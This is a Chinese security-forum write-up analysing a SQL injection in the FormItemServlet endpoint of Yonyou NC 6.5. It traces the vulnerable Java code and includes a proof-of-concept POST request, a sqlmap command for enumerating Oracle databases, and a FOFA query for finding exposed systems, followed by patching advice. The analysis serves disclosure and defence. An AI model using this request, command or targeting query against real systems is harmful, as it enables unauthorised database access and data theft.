问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友NC FormItemServlet方法SQL注入漏洞分析
漏洞分析
用友NC系统FormItemServlet方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
一、漏洞简介 ------ 用友NC系统`FormItemServlet`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息 二、影响版本 ------ 用友NC6.5 三、漏洞原理分析 -------- 漏洞位于`FormItemServlet`接口处,方法的完整路径为`nc.uap.wfm.action.FormItemServlet`  该方法的请求路径为前缀+`/servlet/getFormItem/`+对应方法名称 来到doPost方法,完整的代码如下  ```php @Action(method = "POST") public void doPost() { this.response.setCharacterEncoding("utf-8"); this.response.setContentType("text/html"); Writer out = null; out = new StringWriter(); String clazz = this.request.getParameter("clazz"); String pk_prodef = this.request.getParameter("proDefPk"); Map<String, String> map = new HashMap<>(); if (!StringUtils.isEmpty(clazz)) { SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz); IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class); WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef); if (flwtypevo != null) { String serverClass = flwtypevo.getServerclass(); IWfmFormOper formOper = (IWfmFormOper)WfmClassUtil.loadClass(serverClass); map = formOper.getFormFields(formvo, pk_prodef); } } Document doc = buildXml(map); XMLUtil.printDOMTree(out, doc, 0, "UTF-8"); print(out.toString()); } ``` 可以看到此处post方法接收了两个参数,一个是`clazz`,传入了方法中通过反射加载`SuperVO`类或是他的子类,所以他应该传的是完整的类路径 ```php SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz); ``` 另外一个传参是`proDefPk`,在上一步类加载完成后,进入了`WfmFlwTypeQry`的`getFlwTypeVosByProdefPk`方法中 ```php IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class); WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef); ``` 追踪getFlwTypeVosByProdefPk方法,来到代码  可以看到参数被拼接到SQL语句中,造成SQL注入 ```php String sql = " select * from wfm_flwtype where pk_flwtype in(select flwtype from wfm_prodef where pk_prodef='" + prodefPk + "')"; ``` 好了分析到这已经差不多了,只要找一个`SuperVO`的子类让他正常加载走到SQL注入那一步就行了 全局搜索`SuperVO`,这里我挑了一个子类`ProDefBaseVO`  完整路径是`nc.uap.wfm.vo.base.ProDefBaseVO`,下一步构造传参,丢给SQLMAP验证即可 ```XML POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 19 ``` SQLMAP命令如下,指定数据库为Oracle ```php python sqlmap.py -r 数据包 --dbms=oracle --dbs -p proDefPk ``` 注入验证  四、总结 ---- 用友NC系统`FormItemServlet`接口的方法中直接拼接SQL语句造成了SQL注入漏洞,攻击者可以获取数据库敏感信息 五、资产测绘 ------ FOFA语法 ```php app="用友-UFIDA-NC" ```  六、漏洞复现 ------ POC ```php POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 19 ``` 这里用SQLMAP进行验证注入  七、修复建议 ------ 安装用友NC最新的补丁并更新到最新版本,对接口添加身份信息验证并修改查询的方法逻辑。
发表于 2025-06-26 09:00:00
阅读 ( 154 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
11 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!